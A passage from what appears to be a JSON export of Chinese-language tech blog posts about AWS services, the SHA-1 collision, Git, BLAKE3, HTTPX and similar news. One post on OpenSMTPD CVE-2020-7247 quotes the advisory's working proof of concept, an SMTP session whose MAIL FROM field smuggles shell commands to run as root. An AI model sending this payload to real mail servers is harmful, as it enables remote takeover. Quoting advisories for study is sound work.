通稱肯亞，是位於東非，瀕臨印度洋，與索馬利亞、衣索比亞、南蘇丹、烏干達、坦尚尼亞接壤，面積約58萬平方公里[2]。肯亞人口約5051萬，一共有42個民族[8]，分成班圖、尼羅和庫施特三大語系[9]，官方語言是英語和斯瓦希里語。全國分為47個縣市[2]，首都為奈洛比[10]。</blockquote>\r\n\r\n<blockquote>羅馬尼亞（羅馬尼亞語：România），位於歐洲東南部。羅馬尼亞國境西方分別為匈牙利與塞爾維亞接壤，保加利亞在南方，北方與東北方則是烏克蘭與摩爾多瓦共和國。羅馬尼亞有一小段位於黑海邊的海岸線，多瑙河幾乎佔了南邊與保加利亞之間的國界大半，並且從該國東邊海岸流入黑海的西岸。羅馬尼亞的首都為布加勒斯特，位於該國南部多瑙河支流登博維察河所流經的平原地帶上，是羅馬尼亞第一大城與工商業城市。</blockquote>\r\n\r\n所以是東歐、東南歐、中歐、東非、東南歐...",
    "title": "CloudFront 的新拓點..."
  },
  {
    "id": "9371",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 要開始使用新的 CA 發各種資料庫相關服務的 SSL endpoint (包括 <a href=\"https://aws.amazon.com/rds/\">RDS</a>、<a href=\"https://aws.amazon.com/rds/aurora/\">Aurora</a> 與 <a href=\"https://aws.amazon.com/documentdb/\">DocumentDB</a>)，看一下差不多是十多天前的消息，不知道為什麼突然發個緊急通告：「<a href=\"https://aws.amazon.com/blogs/aws/urgent-important-rotate-your-amazon-rds-aurora-and-documentdb-certificates/\">Urgent &amp; Important – Rotate Your Amazon RDS, Aurora, and Amazon DocumentDB (with MongoDB compatibility) Certificates</a>」。\r\n\r\n本來的 CA 是 CA-2015，將在 2020 年到期：\r\n\r\n<blockquote>March 5, 2020 – The CA-2015 certificates will expire. Applications that use certificate validation but have not been updated will lose connectivity.</blockquote>\r\n\r\n所以會有裡面提到的事項要處理，其中前幾天讓新的 CA-2019 變成新機器的預設值，但如果有需要，還是可以選舊的：\r\n\r\n<blockquote>January 14, 2020 – Instances created on or after this date will have the new (CA-2019) certificates. You can temporarily revert to the old certificates if necessary.</blockquote>\r\n\r\n可以把 <a href=\"https://s3.amazonaws.com/rds-downloads/rds-ca-2019-root.pem\">https://s3.amazonaws.com/rds-downloads/rds-ca-2019-root.pem</a> 拉下來用 <code>openssl x509 -text -in rds-ca-2019-root.pem</code> 看，另外把網址裡的 2019 改成 2015 也可以拉到舊版的。\r\n\r\n不過看起來沒有用 X.509 Name Constraints 限制在只有自家 RDS 的網域...",
    "title": "AWS 的 CA 更新 (CA-2019)，將會影響與資料庫相關的服務"
  },
  {
    "id": "9374",
    "body": "<a href=\"https://aws.amazon.com/mediaconvert/\">AWS Elemental MediaConvert</a> 宣佈支援 MP3 輸出的格式了：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2020/01/mp3-audio-output-now-available-with-aws-elemental-mediaconvert/\">MP3 Audio Output Now Available with AWS Elemental MediaConvert</a>」。\r\n\r\n找了維基百科上的 <a href=\"https://en.wikipedia.org/wiki/MP3\">MP3</a> 資料來看，歐盟是 2012 年就全面過期，而美國是 2017 年：\r\n\r\n<blockquote>The basic MP3 decoding and encoding technology is patent-free in the European Union, all patents having expired there by 2012 at the latest. In the United States, the technology became substantially patent-free on 16 April 2017 (see below). MP3 patents expired in the US between 2007 and 2017.</blockquote>\r\n\r\n會拖到 2020 年的現在才支援 MP3 不知道是什麼原因。一種可能 <a href=\"https://aws.amazon.com/\">AWS</a> 家的法務發現是還有其他地區沒列出來？另外一種可能是，如果考慮到 MediaConvert 的產品特性是以影音為主，所以 <a href=\"https://en.wikipedia.org/wiki/Advanced_Audio_Coding\">AAC</a> 用的比較多，而發展 MP3 相關功能的動力不夠...",
    "title": "AWS Elemental MediaConvert 支援 MP3 輸出了"
  },
  {
    "id": "9375",
    "body": "算是前陣子的大消息，<a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 的 chosen-prefix collision 需要的運算已經低於 2^64 了：「<a href=\"https://sha-mbles.github.io/\">SHA-1 is a Shambles</a>」。\r\n\r\n基本的 collision 指的是演算法找出 <code>p1</code> 與 <code>p2</code> 兩個字串，使得 <code>hash(p1) == hash(p2)</code>。但這個方法對於實際的攻擊價值並不大，因為 <code>p1</code> 與 <code>p2</code> 是透過演算法找出來 collision，都是亂數字串。\r\n\r\nchosen-prefix collision 指的是先給定 <code>p1</code> 與 <code>p2</code> (在實際攻擊中，兩組都會是有意義的字串)，然後攻擊的演算法可以算出 <code>m1</code> 與 <code>m2</code>，使得 <code>hash(p1 // m1) == hash(p2 // m2)</code>，其中的 <code>//</code> 就是字串加法。這樣的是先產生出有意義的字串，於是就可以在真實世界中使用。\r\n\r\n舉例來說，我先產生出 <code>blog.gslin.org</code> 的 SSL certificate，然後再產生出一個 <code>github.com</code> 的 SSL certificate，這兩個分別就是 <code>p1</code> 與 <code>p2</code>。\r\n\r\n接下來演算法算出 <code>m1</code> 與 <code>m2</code>，使得 <code>hash(p1 // m1)</code> 與 <code>hash(p2 // m2)</code> 相同。\r\n\r\n接著，我就可以拿 <code>p1 // m1</code> 給 CA 簽名 (因為我有 <code>blog.gslin.org</code> 的擁有權)，而拿到的憑證因為 hash 值相同，就可以給 <code>github.com</code> 這組用。\r\n\r\n2008 年的時候就用這個方法生出一個 sub-CA：\r\n\r\n<blockquote>In 2008, researchers used a chosen-prefix collision attack against MD5 using this scenario, to produce a rogue certificate authority certificate. They created two versions of a TLS public key certificate, one of which appeared legitimate and was submitted for signing by the RapidSSL certificate authority. The second version, which had the same MD5 hash, contained flags which signal web browsers to accept it as a legitimate authority for issuing arbitrary other certificates.[14]</blockquote>\r\n\r\n另外，如果跟 2017 年由 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://www.cwi.nl/\">CWI</a> 打出來的 <a href=\"https://en.wikipedia.org/wiki/SHAttered\">SHAttered</a> 比較，當時的攻擊是 identicial-prefix，實際上的用途沒那麼大，這次是 chosen-prefix，就有很強的實際用途了。\r\n\r\n所以這次的攻擊給了幾個重要的事情。\r\n\r\n第一個是 SHA-1 的 chosen-prefix collision attack 運算已經降到 2^64 以下了，然後加上：\r\n\r\n第二個是 2^64 的運算成本已經低於 USD$100k 了，作者是使用 <a href=\"https://www.gpuserversrental.com/\">GPUserversrental</a> 這個租用 GPU 的服務跑出這次的運算，而這也表示攻擊安全層級是 2^64 的密碼系統，成本也是 USD$100k 了。\r\n\r\n地球上還是有不少系統使用 SHA-1 (作者在網站上有提到)，看起來這陣子會有不少修正...",
    "title": "SHA-1 的 chosen-prefix collision 低於 2^64 了..."
  },
  {
    "id": "9376",
    "body": "看到 <a href=\"https://aws.amazon.com/\">AWS</a> 公佈了大阪區要轉成正式區域的消息：「<a href=\"https://aws.amazon.com/blogs/aws/in-the-works-aws-osaka-local-region-expansion-to-full-region/\">In the Works – AWS Osaka Local Region Expansion to Full Region</a>」。\r\n\r\n大阪區本來是東京區的 local region，主要是提供給東京區的用戶備份以及備援，現在如果變成 full region 的話可以觀察看看 routing，如果從日本西側進骨幹的話，有機會快個 4ms (直線約 400km)？\r\n\r\n另外一個是價位不知道會跟東京差多少，畢竟東京週邊的各種物價與地價都算貴的，當然也有可能就全部照日本區的價錢算...\r\n\r\n目前喊出來的目標是 2021 年年初會有 3 AZ，也就是標準 region 的架構：\r\n\r\n<blockquote>Today, we are excited to announce that, due to high customer demand for additional services in Osaka, the Osaka Local Region will be expanded into a full AWS Region with three Availability Zones by early 2021.</blockquote>",
    "title": "AWS 大阪區要轉成正式區域"
  },
  {
    "id": "9377",
    "body": "先說明最基本的方法是按個幾下 Esc 確保離開 insert mode，然後輸入 <code>:q</code> 然後 enter 就可以離開。\r\n\r\n在「<a href=\"https://github.com/hakluke/how-to-exit-vim/blob/master/README.md\">How to exit vim</a>」這邊則是創意大賽，尤其是前面幾個方式：\r\n\r\n<pre>:!ps axuw | grep vim | grep -v grep | awk '{print $2}' | xargs kill -9</pre>\r\n\r\n想練功的可以看一下指令，然後用 man 看一下說明學一些東西 XD",
    "title": "離開 Vim 的方法"
  },
  {
    "id": "9378",
    "body": "<a href=\"https://aws.amazon.com/eks/\">Amazon EKS</a> 宣佈降價 50%：「<a href=\"https://aws.amazon.com/blogs/aws/eks-price-reduction/\">Amazon EKS Price Reduction</a>」。\r\n\r\n開頭這段就講了重點：\r\n\r\n<blockquote>[...] We are reducing the price by 50%.\r\n\r\nAs of the 21st of January, the price will reduce from $0.20 per hour for each Amazon EKS cluster to $0.10 per hour. This new price is for all new and existing Amazon EKS clusters.</blockquote>\r\n\r\n本來的價錢換算成月費大約是 USD$144/month，現在降到 USD$72/month，看起來好像很多，但因為這其實只是 kubernetes 的 controller 費用，實際跑 pod 的 EC2 instance 還是照舊，所以應該是還好...\r\n\r\n對於每個 cluster 的量都夠大的人來說其實沒有太多感覺，主要是對於每個 cluster 量不大的人會好很多...",
    "title": "Amazon EKS 降價 50%"
  },
  {
    "id": "9380",
    "body": "在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 Jeff Barr 提到的，看 whois 資料是去年年底生出來的網域名稱，整理了 <a href=\"https://aws.amazon.com/\">AWS</a> 服務上 API 的改變說明：「<a href=\"https://awsapichanges.info/\">AWS API Changes</a>」。\r\n\r\n有提供 RSS feed 可以訂閱，所以除了可以透過 reader 訂起來以外，也可以透過 <a href=\"https://ifttt.com/\">IFTTT</a> 這類服務轉到 <a href=\"https://telegram.org/\">Telegram</a> 或是其他的 IM 上，不過好像不是官方的服務，但總是比較有系統的整理出來了...",
    "title": "AWS API Changes"
  },
  {
    "id": "9381",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 宣佈 <code>t3</code> 系列的機器也可以上 Dedicated Single-Tenant Hardware 了，也就是實體的機器不與其他人共用：「<a href=\"https://aws.amazon.com/blogs/aws/new-t3-instances-on-dedicated-single-tenant-hardware/\">New – T3 Instances on Dedicated Single-Tenant Hardware</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gTYX0Fp.webp\" /><img src=\"https://i.gslin.com/imgur/gTYX0Fp.jpg\" alt=\"\" /></picture>\r\n\r\n會需要避免共用實體機器，其中一種常見的是需求是 compliance，主要是在處理資料 (尤其是敏感資料) 時要求實體隔離，以降低 side-channel attack 或是類似攻擊的風險：\r\n\r\n<blockquote>Our customers use Dedicated Instances to further their compliance goals (PCI, SOX, FISMA, and so forth), and also use them to run software that is subject to license or tenancy restrictions.</blockquote>\r\n\r\n另外一種情境是 AWS 的美國政府區，直接與一般商業區的系統切開，不過這也得有經濟規模才有辦法這樣玩...",
    "title": "t3 也可以上 Dedicated Single-Tenant Hardware 了"
  },
  {
    "id": "9382",
    "body": "雖然 2020/01/01 開始 <a href=\"https://www.python.org/\">Python</a> 2 就沒有官方支援了 (翻了一下資料發現「<a href=\"https://pyfound.blogspot.com/2019/12/python-2-sunset.html\">Python 2 series to be retired by April 2020</a>」這篇，官方好像延到四月了...)，不過剛剛看到這則新聞，裡面提到了商業支援：「<a href=\"https://www.theregister.co.uk/2020/01/03/python_2_gets_frozen/\">Snakes on a wane: Python 2 development is finally frozen in time, version 3 slithers on</a>」。\r\n\r\n在最後一段：\r\n\r\n<blockquote>Those catering to corporate clients intend to continue support Python 2.7 for a while. In October, Red Hat said it will stop supporting Python 2.7 in RHEL 8 come June 2024.</blockquote>\r\n\r\n不確定這些 patch 會不會也移植到 <a href=\"https://www.centos.org/\">CentOS</a> 上，如果會的話，至少有一個地方可以讓你多四年掙扎，感覺上可以用 container 生一個獨立的環境...\r\n\r\n另外 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 這邊的 LTS 不知道有什麼方案，已知 20.04 的目標是要移除掉，但 16.04 與 18.04 裡的 Python 2 如果有問題時，不知道會不會收 patch...\r\n\r\n再來就是 <a href=\"https://github.com/pyenv/pyenv\">pyenv</a> 了，翻了一下目前的情況，好像就是放著，不知道會有什麼方案搬出來...",
    "title": "Python 2 的後續支援"
  },
  {
    "id": "9384",
    "body": "<a href=\"https://www.percona.com/\">Percona</a> 老大 Peter Zaitsev 在「<a href=\"https://www.percona.com/blog/2020/01/08/mysql-a-series-of-bad-design-decisions/\">MySQL – A Series of Bad Design Decisions</a>」這篇裡提到了他認為 <a href=\"https://dev.mysql.com/\">MySQL</a> 設計上的問題，不過裡面也提到了不少有用的指令，平常可以先熟悉一下輸出，等真的有狀況的時候才會想起來可以用這些指令。\r\n\r\n首先是最經典的 <code>SHOW ENGINE INNODB STATUS</code>，算是很多文件上面都會提到的指令。可以看 InnoDB 當下的情況，藉以猜測內部現在是怎麼卡住...\r\n\r\n另外一個是 <code>SHOW ENGINE INNODB MUTEX</code>，就如同 Peter Zaitsev 所提到的，這個指令想辦法抓出最重要的資訊，但不要像 <code>SHOW ENGINE INNODB STATUS</code> 給了那麼多。\r\n\r\n另外當然就是 <code>INFORMATION_SCHEMA</code>，他甚至希望 <code>SHOW ENGINE INNODB </code> 系列的指令應該要被整合進去，這樣才能用 <code>SELECT</code> 相關的指令整理... (因為 <code>ORDER BY</code> 以及蠻多的指令沒辦法在 <code>SHOW ...</code> 上面用)",
    "title": "MySQL (InnoDB) 的內部狀態"
  },
  {
    "id": "9386",
    "body": "看到廢除更新 <code>User-Agent</code> 字串的提案：「<a href=\"https://groups.google.com/a/chromium.org/forum/m/#!msg/blink-dev/-2JIRNMWJ7s/yHe4tQNLCgAJ\">Intent to Deprecate and Freeze: The User-Agent string</a>」。\r\n\r\n一方面是 <code>User-Agent</code> 裡面太多沒用的假資料 (像是每一家都是 <code>Mozilla</code>)，另外 User-Agent 會帶出一些隱私問題 (辨識資訊)。\r\n\r\n目前的提案是希望改用 <a href=\"https://wicg.github.io/ua-client-hints/\">User-Agent Client Hints</a> (UA-CH) 取代 <code>User-Agent</code> 的功能，把預定義好的東西透過對應的 HTTP header 傳遞。\r\n\r\n<a href=\"https://www.chromium.org/\">Chromium</a> 的計畫是在 M81 (stable 版預定在 2020 年三月中釋出) 先 deprecate <code>navigator.userAgent</code>，所以有存取時 web console 上會出現警告。而 M83 (2020 年六月初) 則是不再更動 user agent 字串 (鎖住)。到了 M85 (2020 年九月中) 則是統一 desktop 的 user agent 字串，並且盡可能統一 mobile 上的字串。\r\n\r\n另外裡面也有整理了其他瀏覽器的意願：\r\n\r\n<blockquote>Edge: Public support\r\n\r\nFirefox: Public support for freezing the UA string - “freezing the User Agent string without any client hints—seems worth-prototyping”\r\n\r\nSafari: Shipped to some extent. Safari has attempted to completely freeze the UA string in the past, without providing an alternative mechanism. That got a lot of pushback, which resulted in somewhat reverting that decision. Nowadays, their UA string seems frozen, other than updates to the OS version and the browser major version.</blockquote>\r\n\r\n雖然不是完全都同意，但看起來應該有機會在今年陸陸續續搞定...",
    "title": "User-Agent 的淘汰提案"
  },
  {
    "id": "9387",
    "body": "上個禮拜的消息了，<a href=\"https://www.digitalocean.com/\">DigitalOcean</a> 決定裁員：「<a href=\"https://techcrunch.com/2020/01/17/digitalocean-layoffs/\">DigitalOcean is laying off staff, sources say 30-50 affected</a>」。\r\n\r\n推出新產品與新服務的速度不算快，不知道是不是因為組織龐大造成的... 如果是的話，這次的裁員未必是壞事，以 <a href=\"https://techcrunch.com/\">TechCrunch</a> 拿到的內部消息知道是 30～50 人，大約是全體的 10%。\r\n\r\n另外一個問題是 DigitalOcean 提供的 CPU 一向都是三家裡面最慢的 (另外常被拿出來比較的兩家是 <a href=\"https://www.linode.com/\">Linode</a> 與 <a href=\"https://www.vultr.com/\">Vultr</a>)，在大家都是一樣的服務下，這個缺點就蠻明顯的...",
    "title": "DigitalOcean 裁員"
  },
  {
    "id": "9388",
    "body": "<a href=\"https://git-scm.com/\">Git</a> v2.25.0 出了一個大家等了很久的功能 Partial Checkout，可以只抓取部份的內容：「<a href=\"https://lore.kernel.org/git/xmqqtv4zjgv5.fsf@gitster-ct.c.googlers.com/\">[ANNOUNCE] Git v2.25.0</a>」。另外也可以看 <a href=\"https://github.com/\">GitHub</a> 的整理：「<a href=\"https://github.blog/2020-01-13-highlights-from-git-2-25/\">Highlights from Git 2.25</a>」。\r\n\r\n這個功能正式名稱是 <code>sparse-checkout</code>：\r\n\r\n<blockquote>* Management of sparsely checked-out working tree has gained a dedicated \"sparse-checkout\" command.\r\n* \"git sparse-checkout list\" subcommand learned to give its output in a more concise form when the \"cone\" mode is in effect.</blockquote>\r\n\r\n這個功能目前還是 experimental，目前 GitHub 還沒有支援，如果要玩的可能要用自己的 server 來測：\r\n\r\n<blockquote>Partial clones are still considered an experimental feature from Git’s point of view. For instance, many providers (such as GitHub) don’t support this feature yet, and it’s continually changing and evolving within Git from release to release.</blockquote>\r\n\r\n看了一下公告，這個功能的主力是 Microsoft 的 Derrick Stolee 推進來的，再等幾個版本應該有機會在各大平台上用。",
    "title": "Git v2.25.0 的 Partial Checkout"
  },
  {
    "id": "9390",
    "body": "今年年初發表的 cryptographic hash function，重點在於速度：「<a href=\"https://github.com/BLAKE3-team/BLAKE3/\">The BLAKE3 cryptographic hash function</a>」。\r\n\r\n在 1 thread 的情況下就遠遠拉開目前的 cryptographic hash function：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/V2HAAiD.webp\" /><img src=\"https://i.gslin.com/imgur/V2HAAiD.jpg\" alt=\"\" /></picture>\r\n\r\n因為速度是主打項目，所以提供的範例已經是使用 x86 與 ARM 的 SIMD 加速的版本，另外也可以透過平行化加速。\r\n\r\n所以是要拼 de-facto standard 嗎，不知道 browser 這邊有沒有機會採用，雖然在現在都是使用 AEAD cipher 的情況下好像沒有太多出場機會...",
    "title": "講求速度的 Cryptographic Hash Function：BLAKE3"
  },
  {
    "id": "9391",
    "body": "在「<a href=\"https://www.macrumors.com/2020/01/16/fbi-used-graykey-to-unlock-iphone-11-pro/\">FBI Successfully Unlocks iPhone 11 Pro in Ohio, Casting Doubt on Claims it Needs Apple's Help in Florida Mass Shooter Case</a>」這邊看到的消息，看起來 <a href=\"https://www.fbi.gov/\">FBI</a> 手上的 <a href=\"https://en.wikipedia.org/wiki/GrayKey\">GrayKey</a> 可以解開 <a href=\"https://en.wikipedia.org/wiki/IPhone_11_Pro_Max\">iPhone 11 Pro Max</a> 了...\r\n\r\n先前 GrayKey 只有舊型的可以解，像是之前揭露的 iPhone 5 或是 iPhone 7，現在看起來找到新的漏洞可以打穿新的版本，所以升級了：\r\n\r\n<blockquote>Forbes has previously revealed a GrayKey brochure that showed it worked on older devices, and the two iPhones acquired by the FBI in the most recent Pensacola case are an ‌iPhone‌ 5 and an ‌iPhone‌ 7, which strongly suggests that investigators are already capable of unlocking them.</blockquote>\r\n\r\n魔與道的競爭...",
    "title": "FBI 手上的 GrayKey 可以解 iPhone 11 Pro Max"
  },
  {
    "id": "9393",
    "body": "<a href=\"https://www.jetbrains.com/\">JetBrains</a> 釋出了一套 Monospace 字型 Jetbrains Mono 提供給大家使用：「<a href=\"https://www.jetbrains.com/lp/mono/\">JetBrains Mono: A free and open source typeface for developers</a>」。\r\n\r\n使用 <a href=\"https://en.wikipedia.org/wiki/Apache_License\">Apache 2.0 License</a> 授權，其他比較常見到的是 <a href=\"https://en.wikipedia.org/wiki/SIL_Open_Font_License\">SIL Open Font License</a>：\r\n\r\n<blockquote>JetBrains Mono typeface is available under the Apache 2.0 license and can be used free of charge, for both commercial and non-commercial purposes. You do not need to give credit to JetBrains, although we will appreciate it very much if you do.</blockquote>\r\n\r\n雖然是個不常在字型上見到的授權，但 Apache 2.0 License 在軟體這塊蠻常見的，大家的熟悉度也還 ok，應該是沒有什麼大問題... 要注意 Apache 2.0 License 與 GPLv2 是不相容的就好，不能包在一起丟出來。\r\n\r\n先換起來用看看，之後再看看有什麼想法...",
    "title": "JetBrains 釋出 Monospace 字型"
  },
  {
    "id": "9394",
    "body": "看到「<a href=\"https://www.python-httpx.org/\">A next-generation HTTP client for Python.</a>」這個專案冒出來，宣稱是下一代 <a href=\"https://www.python.org/\">Python</a> 的 HTTP client library：\r\n\r\n<blockquote>HTTPX is a fully featured HTTP client for Python 3, which provides sync and async APIs, and support for both HTTP/1.1 and HTTP/2.</blockquote>\r\n\r\n目前專案還在 beta，目標是在今年四月出 1.0 版。從說明裡面可以看到，目前的方向是打算相容 <a href=\"https://github.com/psf/requests\">requests</a>，讓現有的程式可以不用做太多修改就轉移過來。\r\n\r\n再來從開發者的角度來看，HTTPX 比 requests 多了這些功能：\r\n\r\n<ul>\r\n\t<li>Standard synchronous interface, but with async support if you need it.</li>\r\n\t<li>HTTP/1.1 and HTTP/2 support.</li>\r\n\t<li>Ability to make requests directly to WSGI applications or ASGI applications.</li>\r\n\t<li>Strict timeouts everywhere.</li>\r\n</ul>\r\n\r\n但如果就支援這些功能的角度來看，修改 requests 看起來應該會比較快？開新的專案感覺跟 Kenneth Reitz 有關...\r\n\r\nKenneth Reitz 有兩個很有名的作品，一個是這個，另外一個是 <a href=\"https://pypi.org/project/pipenv/\">Pipenv</a>，也就是在「<a href=\"https://blog.gslin.org/archives/2019/12/21/9347/pipenv-%E7%9A%84%E5%87%8B%E9%9B%B6%E8%88%87%E6%9B%BF%E4%BB%A3%E6%96%B9%E6%A1%88-poetry/\">pipenv 的凋零與替代方案 poetry</a>」這邊提到的事情。\r\n\r\n然後看了一下 <a href=\"https://github.com/encode/httpx/blob/master/CHANGELOG.md\">CHANGELOG.md</a> 內的資訊，裡面最早的記錄是 0.6.0 (2019/06/21)，而從 <a href=\"https://github.com/encode/httpx/graphs/contributors\">Contributors to encode/httpx</a> 這頁看起來則是 2019/03/31 開始發展的，就這些時間點看起來，原因大概跟 Kenneth Reitz 有關... 雖然沒有找到文章直接提到這件事情。\r\n\r\n不過 HTTPX 需要 Python 3.6+ 才能跑，對於版本的要求比較高，如果是 16.04 預設的 python3 (3.5) 就沒辦法跑了，18.04 預設的 python3 (3.6) 也才剛好符合...\r\n\r\n之後應該是 HTTPX 與 requests 兩邊都得關注了，看看會有什麼發展...",
    "title": "Python 新的 HTTP client library：HTTPX"
  },
  {
    "id": "9395",
    "body": "在「<a href=\"https://www.twilio.com/blog/html-attributes-two-factor-authentication-autocomplete\">HTML attributes to improve your users' two factor authentication experience</a>」這邊看到關於讓使用者輸入 2FA (通常是數字) 比較流暢的設定。\r\n\r\n原始是上面這張這樣，目標是希望下面這張這樣，當透過 SMS 2FA 時可以提供選項直接貼上，而且也自動帶出數字鍵盤：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/3OgtXeS.webp\" /><img src=\"https://i.gslin.com/imgur/3OgtXeS.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/0uoNzTD.webp\" /><img src=\"https://i.gslin.com/imgur/0uoNzTD.jpg\" alt=\"\" /></picture>\r\n\r\n給出的幾個重點在於 <code>inputmode</code>、<code>pattern</code> 以及 <code>autocomplete</code>：\r\n\r\n<pre>&lt;input\r\n  type=\"text\"\r\n  name=\"token\"\r\n  id=\"token\"\r\n  inputmode=\"numeric\"\r\n  pattern=\"[0-9]*\"\r\n  autocomplete=\"one-time-code\"\r\n/&gt;</pre>\r\n\r\n查了一下 <a href=\"https://caniuse.com/\">caniuse.com</a> 上面的支援度，<code>pattern</code> 基本上都支援了，<code>autocomplete</code> 在這邊用到的 <code>one-time-code</code> 基本上也沒問題，只有 <code>inputmode</code> 這邊支援度比較差，IE11 (基本上不會更新了)、<a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 與 <a href=\"https://www.apple.com/safari/\">Safari</a> 沒支援。",
    "title": "讓手機上瀏覽器自動帶出數字鍵盤的方式"
  },
  {
    "id": "9396",
    "body": "<a href=\"https://osmand.net/\">OsmAnd</a> 是在「<a href=\"https://www.kylepiira.com/2020/01/09/why-i-quit-google/\">Why I quit using Google</a>」這篇看到的東西，這篇文章在討論離開 <a href=\"https://www.google.com/\">Google</a> 的 ecosystem 有哪些替代方案，裡面有提到其實這些轉移不是短時間轉完的，而是不斷嘗試，直到找到自己滿意的替代方案：\r\n\r\n<blockquote>Migrating away from Google was not a fast or easy process. It took years to get where I am now and there are still several Google services that I depend on: YouTube and Google Home.</blockquote>\r\n\r\n其中地圖這塊是這樣：\r\n\r\n<blockquote>Google Maps → Bing Maps → OpenStreetMaps and OsmAnd</blockquote>\r\n\r\n在 iOS 上面的應用程式叫做 <a href=\"https://apps.apple.com/app/apple-store/id934850257\">OsmAndMaps</a>，下載後內容大概是這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/US8YmWE.webp\" /><img src=\"https://i.gslin.com/imgur/US8YmWE.jpg\" alt=\"\" /></picture>\r\n\r\n基本的部份用起來還不錯，上面的店家資訊少了點而已，應該會用一陣子看看...",
    "title": "試著用 OsmAndMaps 的離線地圖"
  },
  {
    "id": "9397",
    "body": "先前在「<a href=\"https://blog.gslin.org/archives/2020/01/18/9371/aws-%e7%9a%84-ca-%e6%9b%b4%e6%96%b0-ca-2019%ef%bc%8c%e5%b0%87%e6%9c%83%e5%bd%b1%e9%9f%bf%e8%88%87%e8%b3%87%e6%96%99%e5%ba%ab%e7%9b%b8%e9%97%9c%e7%9a%84%e6%9c%8d%e5%8b%99/\">AWS 的 CA 更新 (CA-2019)，將會影響與資料庫相關的服務</a>」這邊提到了 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://aws.amazon.com/rds/\">RDS</a> 因為 Root Certificate 快要過期，需要更新到 CA-2019。\r\n\r\n剛剛在 <a href=\"https://twitter.com/\">Twitter</a> 上看到 <a href=\"https://twitter.com/jeffbarr\">Jeff Barr</a> 提到了一個可以直接列出有哪些機器需要更新的工具：\r\n\r\n<blockquote class=\"twitter-tweet\"><p lang=\"en\" dir=\"ltr\">rds-ssl-update - list RDS instances that are in need of certificate upgrades, and optionally perform the upgrades - <a href=\"https://t.co/UE9GStnEjQ\">https://t.co/UE9GStnEjQ</a> <a href=\"https://t.co/IZquhhAGTm\">pic.twitter.com/IZquhhAGTm</a></p>&mdash; Jeff Barr ☁️ (@jeffbarr) <a href=\"https://twitter.com/jeffbarr/status/1222158624702648320?ref_src=twsrc%5Etfw\">January 28, 2020</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n程式放在 <a href=\"https://github.com/\">GitHub</a> 上的 <a href=\"https://github.com/aws-samples/rds-ssl-update\">aws-samples/rds-ssl-update</a>，另外看到一個有趣的授權條款，叫做 <a href=\"https://github.com/aws/mit-0\">MIT-0 License</a>，是 AWS 自己改的一個授權版本，拿掉了 <a href=\"https://en.wikipedia.org/wiki/MIT_License\">MIT License</a> 裡面的這段：\r\n\r\n<blockquote>subject to the following conditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.</blockquote>\r\n\r\n也就是要求要引用授權條款的部份被拿掉，不過我還是比較喜歡 <a href=\"https://en.wikipedia.org/wiki/BSD_licenses\">BSD license</a>，尤其是 3-clause 的版本...",
    "title": "AWS 提供程式，可以掃出有哪些 RDS 的憑證需要更新"
  },
  {
    "id": "9398",
    "body": "在「<a href=\"https://blog.qualys.com/laws-of-vulnerabilities/2020/01/29/openbsd-opensmtpd-remote-code-execution-vulnerability-cve-2020-7247\">OpenBSD OpenSMTPD Remote Code Execution Vulnerability (CVE-2020-7247)</a>」這邊看到頗意外的 <a href=\"https://www.opensmtpd.org/\">OpenSMTPD</a> <a href=\"https://en.wikipedia.org/wiki/Remote_code_execution\">RCE</a>，而且從「<a href=\"https://www.qualys.com/2020/01/28/cve-2020-7247/lpe-rce-opensmtpd.txt\">Qualys Security Advisory LPE and RCE in OpenSMTPD (CVE-2020-7247)</a>」這邊的範例可以看到是個淺顯易懂的 exploit：\r\n\r\n<pre>$ nc 192.168.56.143 25\r\n220 obsd66.example.org ESMTP OpenSMTPD\r\nHELO professor.falken\r\n250 obsd66.example.org Hello professor.falken [192.168.56.1], pleased to meet you\r\nMAIL FROM:&lt;;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;&gt;\r\n250 2.0.0 Ok\r\nRCPT TO:&lt;root@example.org&gt;\r\n250 2.1.5 Destination address valid: Recipient ok\r\nDATA\r\n354 Enter mail, end with \".\" on a line by itself\r\n\r\n#0\r\n#1\r\n#2\r\n#3\r\n#4\r\n#5\r\n#6\r\n#7\r\n#8\r\n#9\r\n#a\r\n#b\r\n#c\r\n#d\r\nfor i in W O P R; do\r\n        echo -n \"($i) \" &amp;&amp; id || break\r\ndone &gt;&gt; /root/x.\"`id -u`\".\"$$\"\r\n.\r\n250 2.0.0 4cdd24df Message accepted for delivery\r\nQUIT\r\n221 2.0.0 Bye</pre>\r\n\r\n這樣有點歡樂...",
    "title": "OpenSMTPD RCE"
  },
  {
    "id": "9399",
    "body": "在「<a href=\"https://info.crunchydata.com/blog/migrating-from-oracle-to-postgresql-questions-and-considerations\">Migrating from Oracle to PostgreSQL: Tips and Tricks</a>」這邊看到在討論怎麼從 <a href=\"https://www.oracle.com/\">Oracle</a> 資料庫轉移到 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 上。\r\n\r\n開頭介紹了 <a href=\"https://github.com/orafce/orafce\">Orafce</a>，實做了一些 Oracle 上的 function，可以使得轉移時不用改寫太多 SQL：\r\n\r\n<blockquote>The \"orafce\" project implements of some functions from the Oracle database. The functionality was verified on Oracle 10g, and the module is useful for production work.</blockquote>\r\n\r\n先記錄起來，之後如果有機會的話比較好找...",
    "title": "從 Oracle 轉移到 PostgreSQL 的工具 Orafce"
  },
  {
    "id": "9400",
